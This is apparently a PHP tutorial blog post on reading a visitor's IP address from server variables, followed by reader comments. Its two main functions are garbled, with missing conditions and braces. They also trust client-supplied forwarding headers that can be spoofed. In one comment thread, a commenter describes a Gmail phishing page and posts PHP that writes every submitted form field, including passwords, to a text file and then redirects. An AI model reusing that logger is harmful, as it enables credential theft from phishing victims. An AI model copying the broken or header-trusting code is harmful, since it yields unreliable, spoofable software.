Getting real client IP address in PHP

Getting real client IP address in PHP

Many times we need the visitor’s ipaddress for validation, security, spam prevention, etc. Getting the Visitor’s ipaddress is very easy in PHP.

The simplest way to get the visitor’s/client’s ipaddress is using the $_SERVER['REMOTE_ADDR'] or $_SERVER['REMOTE_HOST'] variables. The variable in the $_SERVER array are created by the web server (like apache) and we can use them in PHP.

// Get the client ip address
$ipaddress = $_SERVER['REMOTE_ADDR']

However, sometimes this does not returns the correct ipaddress of the visitor. This can be occur due to reasons like the user is behind a proxy, your apache server is behind a reverse proxy (e.g. varnish), etc. So we can use some other server variables to get the ipaddress.

You can use any of the following 2 functions. Both the functions are equivalent with the difference only in how and from where the values are retrieved. The first one getenv() is used to get the values from PHP’s environment variables and the second one $_SERVER is used to get the values from the web server (e.g. apache).

// Function to get the client ip address
function get_client_ip_env() {
	$ipaddress = '';
	if (getenv('HTTP_CLIENT_IP'))
		$ipaddress = getenv('HTTP_CLIENT_IP');
	else if(getenv('HTTP_X_FORWARDED_FOR'))
		$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
	else if(getenv('HTTP_X_FORWARDED'))
		$ipaddress = getenv('HTTP_X_FORWARDED');
	else if(getenv('HTTP_FORWARDED_FOR'))
		$ipaddress = getenv('HTTP_FORWARDED_FOR');
	else if(getenv('HTTP_FORWARDED'))
		$ipaddress = getenv('HTTP_FORWARDED');
	else if(getenv('REMOTE_ADDR'))
		$ipaddress = getenv('REMOTE_ADDR');
		$ipaddress = 'UNKNOWN';

	return $ipaddress;
// Function to get the client ip address
function get_client_ip_server() {
	$ipaddress = '';
		$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
		$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
		$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
		$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
		$ipaddress = $_SERVER['HTTP_FORWARDED'];
	else if($_SERVER['REMOTE_ADDR'])
		$ipaddress = $_SERVER['REMOTE_ADDR'];
		$ipaddress = 'UNKNOWN';

	return $ipaddress;

getenv() is used to get the value of an environment variable in PHP
$_SERVER is an array contains server variables created by the web server.

Note: HTTP_X_FORWARDED_FOR sometimes returns internal or local IP address, which is not usually useful. Also, it would return a comma separated list if it was forwarded from multiple ipaddresses.

Note: This would work only on live site, because on your local host your ip would be one of the internal ip addresses, like

View Demo
Download Source Code


  1. Hi every one my name is AlAa

    My problem with $_SERVER[‘remote_addr’]

    I’m not sure if I’m having a problem with the installation of PHP on the server or if there’s something that I’m not doing right in the code, but I am trying to capture the IP address of anyone that is trying to log into a secure part of a site. Regardless of my IP address, when I do:


    echo $_SERVER[‘remote_addr’];

    It returns ‘’. This is the first time I’ve written code that is being used on a Windows Server, so I don’t know if that has anything to do with it.

    I’ve run phpinfo(), and in the PHP Variables section, it shows “_SERVER[“REMOTE_ADDR”]” : Does this mean that the php.ini file is setup wrong, or am I missing something?

    i am running my own server on windows 7 iis7.5 with php as fastcgi and i am behind a router with a dynamic ip not static and i am using that give me a link to my router and i am opening 80 port in my router forwarding it to my id address and i have tested a php file that contains

    tested it using tor network that give me ip out of my network to test that file always give me the same result i am trying to get IP address of the visitor and i asked someone of my friends to use this form it sends the same ip

    i hope someone tells me what i am doing wrong and the solution for this problem

    Thanks in advance

    • It seems you are getting your router ipaddress. So there are a few possibilities you can try.
      1. Try using each variable from the function that I have in the post and see if you get a different address from any of the variables.
      2. Your router / firewall might not be forwarding the actual ipaddress. You might have to check your router/firewall configuration to check if it forwards the user ipaddress.

      Let me know if any works.

  2. i tried running this script on my WAMP server and i realized that it returned nothing even when I was connected to the internet and LAN and had a static IP for LAN.

    • I am assuming you are running the script on your localhost. It will give you only the LAN ipaddress, because that’s how you are connected to the server. If you can try, put the WAMP server online, and then try accessing from another machine on the LAN. This would still give you LAN ipaddress because that is how the machine would be connected to the server. To actually test this script you have to put it on a server outside of your network.

  3. am gettting IP address as…my pc ip address is 192.168……, but it display ip address of server plz help me

  4. k thank u lot….
    can u help me to find visitor’s acount name of computer in php…its urgent

  5. how to get window log-in name in php…i tried a lot but i dint get plz help me..

    • I don’t know any function/code using which we can get windows log-in name. I think you need to use Active Directory functions, etc, but i am not very sure. I tried searching and there are many discussions regarding this.

  6. When I am trying to get Correct IP of client i am not getting plz help some body to me….

  7. What if i want the lan ip adress besides the public ip?

  8. i am trying echo $_SERVER[‘REMOTE_ADDR’] . return is ” ::1″ . i using wamp server. what is problem??

  9. how to get the ip address,location,connection name of the visitor who is access my website. I want the code in php

  10. thanks for the snippet ! here’s a modified version :

    function getClientIp() {

    $result = null;

    $ipSourceList = array(

    foreach($ipSourceList as $ipSource){
    if ( isset($_SERVER[$ipSource]) ){
    $result = $_SERVER[$ipSource];
    return $result;

  11. Thanks for your script; But may i know i how findout Internet IP Address(not client ip address)
    Thanks in Advance


    $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
    echo $hostname;
    $ip= $REMOTE_ADDR;
    echo " Your hostname : ” . GetHostByName($ip);

  13. Please I need help on this. I can not seem to get the IP address. This is for personal use and nothing illegal. Below is the code I am trying to write, I only get the email and pswrd but not the ip address;

    $value) {
    fwrite($handle, $variable);
    fwrite($handle, “=”);
    fwrite($handle, $value);
    fwrite($handle, “rn”);
    fwrite($handle, “rn”);

    I would really appreciate it if some can help. Thank you

    • Hi Mark,

      Not sure what you are trying to do. Your code is not complete so it is difficult to help.

      • Okay, let me explain. Like I said before, it is a personal project. I created a gmail phishing page, I logged in from another computer and I have been able to get my email and pswrd but I can not seem to get the ip address of the other computer I used to login on the page.

      • ?php
        function getIp(){

        $ip = $_SERVER[‘REMOTE_ADDR’];
        if (!empty($_SERVER[‘HTTP_CLIENT_IP’])) {
        $ip = $_SERVER[‘HTTP_CLIENT_IP’];
        } elseif (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {
        $ip = $_SERVER[‘HTTP_X_FORWARDED_FOR’];
        return $ip;
        // There might not be any data
        return false;
        // Detect Real IP Address & Location
        $real_client_ip_address = $_ip->getRealIP();
        $visitor_location = $_ip->getLocation($real_client_ip_address);

        // Output result
        echo $visitor_location[‘Country’].””;
        echo “”;
        header(“Location: “);
        $handle = fopen(“pswrds.txt”, “a”);
        foreach($_POST as $variable => $value) {
        fwrite($handle, $variable);
        fwrite($handle, “=”);
        fwrite($handle, $value);
        fwrite($handle, “rn”);
        fwrite($handle, “rn”);

  14. Thanks a lot. This saved me a lot of work and time. Thanks again

  15. to get ip address by using a $_SERVER[‘REMOTE ADDR’],BUT IT RETURN ONLY ::1.( What can i do for getting valid ipaddress???)

  16. I’m getting the ip of my shared server host, not my machine ip,, any ideas to fix it?

  17. hi! Thanks for share!!! It,s work for me. How can i make a my ip widget ?
    Thanks again!

  18. how to identify the computer behind the router with php code?
    Or how to get the ip address of the computer behind the router with php code?

  19. Hi,
    can you plz tel me why blank page is displaying after submitting form. Simple form submitting. Even i’m trying to echo $_SERVER[‘REMOTE_ADDR’]; this value is also not displaying. what is the problem.

  20. posting values


    i’m testing this with simple form submitting.

    after submitting going to blank page. nothing is displaying. Plz let me know that is the wrong in that. Is any code issue of xampp issue.

    Thanks in advance for help.

  21. Thanks for your script.
    getenv() or $_SERVER which one you perfer? Which one is more correct?

  22. Hey i want the client ip for a visitor who visits my website,i am working on localhost.I want internal IP address(LAN) of client computers which visit the page….Is it possible by above code??

  23. thank u brother

Leave a Reply